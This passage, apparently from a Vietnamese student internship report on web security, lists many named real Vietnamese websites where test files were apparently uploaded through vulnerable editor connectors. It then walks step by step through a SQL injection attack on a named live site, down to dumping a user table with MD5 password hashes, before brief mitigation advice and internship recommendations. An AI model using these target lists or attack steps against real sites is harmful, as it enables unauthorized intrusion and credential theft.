  • 47.  http://tuyendungtructiep.vn/restaurant/upload/Test.txt  http://www.vitcorp.vn/uploads/Test.txt  http://phongcachla.vn/public/fckeditor/editor/filemanager/connectors/php/tem p/Test.txt  http://queenshop.vn/upload/Test.txt  http://www.danhbacongtybaove.vn/uploads/userfiles/Test.txt  http://quangtrung.edu.vn/portal/page/admin/fckeditor/editor/filemanager/conn ectors/php/userfiles/Test.txt  http://www.doanhduc.vn/upload/Test.txt  http://ketnoigiaovien.vn/userfiles/Test.txt  http://www.vietthailtd.vn/images/upload/Test.txt  http://www.xaxa.vn/upload/images/Test.txt  http://www.happydaystravel.com.vn/assets/images/Test.txt  http://hoi.noi.vn/UserFiles/Test.txt  http://sieuthimuaban.com.vn/vantindat/images/Test.txt  http://hyundaihue.com.vn/upload/Test.txt  http://nobita.vn/vantindat/images/Test.txt  http://collagenvn.vn/Test.txt  http://vuongquoc.com.vn/Test.txt  http://vpc.com.vn/Test.txt  http://vimluki.com.vn/Test.txt  http://thepmienbac.com.vn/Test.txt  http://tedi-reco.com.vn/Test.txt  http://terumo.com.vn/Test.txt  http://revn.vn/Test.txt  http://phongsonwm.com.vn/Test.txt  http://pca.com.vn/Test.txt  http://passanitivietnam.com.vn/Test.txt  http://npfc.vn/Test.txt  http://namvang.com.vn/Test.txt  http://merida-bikes.com.vn/Test.txt  http://manhdanceramic.com.vn/Test.txt  http://hoanglong-intl.com.vn/Test.txt  http://hdsurvey.com.vn/Test.txt  http://forum.tedi-reco.com.vn/Test.txt  http://dungcucat.com.vn/Test.txt  http://daihuu.com.vn/Test.txt  http://collagenvn.vn/Test.txt  http://ccic.com.vn/Test.txt  http://adongcompany.vn/Test.txt  http://www.vietthailtd.vn/images/upload/just.htm
  • 48.  http://ethink.vn/vantindat/images/Just.html  http://www.xaxa.vn/upload/images/just.html  http://hoi.noi.vn/UserFiles/just.html  http://collagenvn.vn/just.html  http://vuongquoc.com.vn/just.html  http://vpc.com.vn/just.html  http://vimluki.com.vn/just.html  http://thepmienbac.com.vn/just.html  http://tedi-reco.com.vn/Just.html  http://terumo.com.vn/Just.html  http://revn.vn/Just.html  http://phongsonwm.com.vn/Just.html  http://pca.com.vn/Just.html  http://passanitivietnam.com.vn/Just.html  http://npfc.vn/Just.html  http://namvang.com.vn/Just.html  http://merida-bikes.com.vn/Just.html  http://manhdanceramic.com.vn/Just.html  http://hoanglong-intl.com.vn/Just.html  http://hdsurvey.com.vn/Just.html  http://forum.tedi-reco.com.vn/Just.html  http://dungcucat.com.vn/just.html  http://daihuu.com.vn/Just.html  http://collagenvn.vn/Just.html  http://ccic.com.vn/Just.html  http://adongcompany.vn/Just.html Hình 30. Các site bị lỗi SQL injection được quét bằng Maxisploit 2. Khai thác và tấn công một số Web Application có lỗi bảo mật Ta thử tấn công website http://www.michaelwoodband.com, trang này bị lỗi SQL injection. Bước 1: Kiểm tra thử site có bị lỗi SQL injection không bằng cách thêm các tự đặc biệt vào sau đường link, ở đây ta thêm dầu nháy vào sau Id=1.
  • 49. Bước 2: Kiểm tra số lượng các cột mà câu lệnh select trả về bằng việc thêm chuỗi order by 3 sau id=1 Bước 3: Xác định database và version của database mà website sử dụng Đây là tên database và version của database. Bước 4: Xác định các bảng trong database của web site Các bảng của database Ta nên chú ý đến các bảng liên quan đến user của database, ở đây là bảng poll_user Bước 5: Xác định các cột trong một bảng, ở đây xác định các cột trong bảng poll_user Các cột trong bảng poll_user Bước 6: Từ tên các cột được lấy về, ta xác định các giá trị trong bảng poll_user Các giá trị nhận được trong bảng poll_user, trong đó giá trị userpass đã được băm bằng MD5.
  • 50. Ngoài việc lấy các giá trị trong bảng poll_user, ta cũng có thể lấy gía trị trong các bảng khác. 3. Đưa ra giải pháp khắc phục, phòng chống và bảo mật cụ thể. Để khắc phục lỗi SQL injection mà website bị lỗi, thì khi lập trình chúng ta phải kiểm soát chặt chẽ các dữ liệu input nhập vào, loại bỏ các kí tự mà liên quan đến tấn công SQL injection như: dâu nháy, từ khóa select,union, database, group_concat,table,column,... Dùng các công cụ để bảo vệ web server như IPS/IDS, giúp nhận biết là dữ liệu vào ra, loại bỏ các luồng dữ liệu có khả nghi là dấu hiệu của cuộc tấn công SQL injection hay các cuộc tấn công khác. CHƯƠNG IV – Ý KIẾN, ĐÓNG GÓP VÀ ĐỀ XUẤT 1. Đối với Sinh viên thực tập Sinh viên cần chủ động, sáng tạo hơn trong quá trình thực tập, tự giác chấp hành các quy định cùa cơ quan thực tập cũng như nhà trường. Sinh viên cần cố gắng quan sát, lắng nghe và đúc kết các kinh nghiệm thực tiễn tìm được hay từ phía doanh nghiệp truyền đạt. Sinh viên cần hòa đồng, vui vẻ và giao lưu nhiều hơn trong môi trường làm việc của doanh nghiệp, tạo cái nhìn thiện cảm và xây dựng các mối quan hệ tốt để phục vụ cho tương lai sau này Sinh viên cần chuẩn bị sức khỏe cà tâm lý thoải mái trước khi bước vào môi trường thực tập. 2. Đối với Doanh nghiệp thực tập Doanh nghiệp cần có cơ sở vật chất và tác phong làm việc chuyên nghiệp hơn, quy trình nhận và hỗ trợ sinh viên thực tập khắt khe hơn nhắm giúp sinh viên có tính kỷ luật, sự tự tin, tôn trọng và yêu mến doanh nghiệp hơn. Doanh nghiệp cần lắng nghe ý kiến, nguyện vọng của sinh viên cũng như nhà trường, có các chính sách đãi ngộ và hỗ trợ sinh viên thực tập, cần tổ chức nhiều chương trình giao lưu, hoạt động ngoại kháo để sinh viên có cảm giác hòa nhập hơn. Doanh nghiệp cần có lộ trình và nội dung thực tập cụ thể, chi tiết, có cung cấp các tài liệu và cán bộ hỗ trợ kịp thời cho sinh viên khi có sinh viên có nhu cầu. Sau khi thực tập xong cần có nhận sét đánh giá khách quan về quá trình thực tập của sinh viên, đồng thời có thể giới thiệu việc làm sau khi thực tập. 3. Đối với Nhà trường Để có được kỳ thực tập doanh nghiệp thành công, phía nhà trường cần quan tâm và chú trọng hơn về tầm quan trọng của việc thực tập doanh nghiệp. Thực tập không chỉ hữu ích cho sinh viên mà cò nâng cao chất lượng đầu ra của nhà trường, giúp nhà trường có những mối quan hệ tốt với doanh nghiệp. Dựa trên tình hình thực tập của sinh viên nhà trường có thể điều chỉnh kế hoạch, phương hướng chỉ đạo thực tập cho hợp lý, việc duy trì liên hệ với các doanh nghiệp phải thường xuyên hơn. Sau khi thực tập thì nên có chương trình giới thiệu hay hỗ trợ việc làm. Nhà trường cần xem xét nội dung thực tập của sinh viên có quan hệ mật thiết với nội dung được học trên nhà trường hay không, chú ý xem những kiến thức từ thực tập và kiến thức sinh viên học được có liên quan với nhau không ? từ đó có thể điều
  • 51. chỉnh được kế hoạch đào tạo của nhà trường. Tránh tình trạng để sinh viên tự lực cánh sinh, thực tập lan man, không có ai quản lý, giám sát. Từng học kỳ, từng đợt hay từng năm nhà trường cần tiến hành khảo sát về nhu cầu, ý kiến phản hồi, tâm tư nguyện vọng của sinh viên và doanh nghiệp để kịp điều chỉnh kế hoạch thực tập cho phù hợp CHƯƠNG V – TÀI LIỆU THAM KHẢO [1] Certified Ethical Hacker (CEH) v.8 [2] http://hvaonline.net/ [3] http://forum.whitehat.vn [4] http://ceh.vn/ [4] http://athena.edu.vn/ [5] https://www.owasp.org [6] http://sinhvienit.net [7] http://vn-zoom.com/ [8] http://nhatnghe.com/forum [9] http://vnpro.org/forum/ [10] CISSP - Certified Information Systems Security Professional Study Guide, Third Edition, James Michael Stewart Ed Tittel Mike Chapple [11] International Standard ISO-IEC 27002